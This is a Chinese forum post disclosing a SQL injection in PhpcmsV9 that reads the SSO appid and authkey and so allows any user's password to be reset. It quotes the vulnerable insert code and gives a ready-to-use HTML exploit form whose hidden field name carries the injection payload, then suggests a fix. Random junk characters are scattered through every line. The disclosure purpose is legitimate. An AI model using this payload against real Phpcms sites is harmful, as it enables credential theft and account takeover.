找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2218|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
( h. h4 h' e6 e+ @% E" _2 C- F% w5 u# s- Y+ P8 o9 @  X
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
" f) w4 o* J8 z
- t# R# z& [( [$ V6 J明天再更新下一个漏洞。
9 h" ]6 |: X) f7 \1 e6 d6 _/ p$ _5 }详细说明:
' }/ L, b/ j- `& t8 f0 E+ J0 ~在/phpcms9/phpcms/modules/message/index.php中有代码如下:
! m- B4 E9 k. U6 u- D- G/ l) N4 L% [* Y' K8 P
$messageid = $this->message_db->insert($_POST['info'],true);
) f2 |, }& V6 n5 A) U
# E, ^' i; U$ m6 w3 j; R9 D
, A  b9 @  F2 }# Rinsert方法是key value的,代码如下:; l% E/ _: [/ E5 ?: K1 }1 t' C
8 j( p6 l" X4 [, T& k6 J5 `
public function insert($data, $table, $return_insert_id = false, $replace = false) {# J5 E& O& N" B" [1 Y8 s4 q" }
                if(!is_array( $data ) || $table == '' || count($data) == 0) {9 u1 ^( Q0 k7 g& F6 |
                        return false;6 I# p9 ~  j5 Q8 X1 i3 K% ]+ B# V
                }
; d$ n$ g) J& c) {) J% y6 D               
3 c7 E( ]/ ~- i9 q/ J+ |+ n. T                $fielddata = array_keys($data);% S. r: F/ \: _8 ~" {. p
                $valuedata = array_values($data);, f4 O% O& M* k
                array_walk($fielddata, array($this, 'add_special_char'));
! J* ^+ c: c2 }: e8 s. Q. |! i. e                array_walk($valuedata, array($this, 'escape_string'));
3 o% j% V) n, k: I+ O               
) t0 y$ X9 f9 u                $field = implode (',', $fielddata);
$ {) x. ~& P% D0 w1 _, |: u                $value = implode (',', $valuedata);, Z: a. ?3 V: B' G  }9 B* X% o
6 A& c/ e! R$ Y' {0 q
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
' E. ]7 I# e1 V4 F& r. g                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';3 h. ]8 X0 @/ t# N( j
                $return = $this->execute($sql);
+ E( L' D( Q/ c, ?) W9 V" M2 W                return $return_insert_id ? $this->insert_id() : $return;
! ]5 @8 r6 i  F* J3 v  q        }
. x. p/ E8 N7 P$ r! t& g. ?/ X* W% |. F$ C, d8 ?0 s, g
" R& n- O; a* H8 _) v/ w
嗯,很遗憾的是
  h9 s1 T5 G. a: O  j" Q" [$ t& W
9 j1 e, |8 C+ g; B! g* N) {9 M3 garray_walk($fielddata, array($this, 'add_special_char'));3 D0 @/ g6 s& E2 m% V

* D0 e: H9 z. U7 H" |3 ~! r8 W- m# O6 G) C9 H  s  r% F
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。; n! S/ ^' \4 o/ _/ K# F

& A9 i' ]& ]1 v/ |( I9 ~到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。9 Z/ {% E! v$ h; Z5 n- |+ w9 t! s

. }8 d+ e1 ?5 k& k+ o漏洞证明:
4 L! w( s& O2 e+ U: x2 o读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。- p9 M" ^0 B. p, C. h

4 {* C" M* y( l
! D1 G0 l. ~5 q9 v# C/ m) y表单如下:用户名什么的得自己改一改。
. I0 c6 H+ W2 S; Y- H0 G3 ^& S<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
0 @6 _' G0 m( q% R) @<table width="100%" cellspacing="0" class="table_form">0 t5 W* h) k# d  g! I) H+ P; o, Q
<tr>  H( v" O: X: D9 h' h9 }- r* E0 k
<th>标 题:</th>1 u. }6 `) C5 x  B$ G
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
  f. w) D5 j3 {. s& ]& V7 ?</tr> ' Y& w9 U! e. m0 E( P" K/ J, j
<tr>- M( x- _! F: l0 g3 ^8 U
<th>内 容:</th>7 `/ j  X4 M* N# c1 m+ E# G
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
9 \1 `# p) F7 s% `</tr>6 q) u- ^; Y2 L4 r$ P
<input type="hidden" name="info[replyid]" value="2" /> : s5 s0 w  f3 L/ C! {4 h
<input type="hidden" name="info[send_to_id]" value="cc" /> 8 ?& u( T7 x- b+ c
<input type="hidden" name="info[send_from_id]" value="hh">
5 B3 k- C7 g6 x( H  s( e& g<!-- 漏洞的利用重点在这里开始 -->
0 c8 j2 B+ H: n- ~) W- W) V<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ' s, a, l6 M+ z) T( W
<!-- 漏洞的利用重点在这里结束 -->1 ~' q9 ]1 y. R2 o$ C, ~& [9 c
<tr>4 Z% }; O% z8 g/ h% O% O7 {
<th>验证码:</th>
6 n) J' n' b, s5 g4 U4 A/ W( Y<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>5 n  G! c& Y# g+ @, N
</tr>
) c, H7 o# v$ E, F  m5 e: B& z<tr>
1 n5 @4 L* X1 }" R<td></td>
4 m) Q" t- A$ A7 O<td colspan="2"><label>2 M7 J1 ^- \( f$ k; W) P# k) k- C
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
' ?) B: P0 Q( v$ e</label></td>- H9 t( X3 M- t! R+ a; w& H
</tr>
: j) B( q6 }* @: P7 S  i" C</table>
* I# |0 t: K- S</form>, f; d4 Q, m$ s
在add_special_char函数内对key做过滤就可以了。4 h" ~) M) @& k
* D* ^$ }( z2 O* K1 n; @4 }8 }" A

9 V' `- r( I  K/ k8 K3 f. Z* s
. X" T' I! R" q" N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表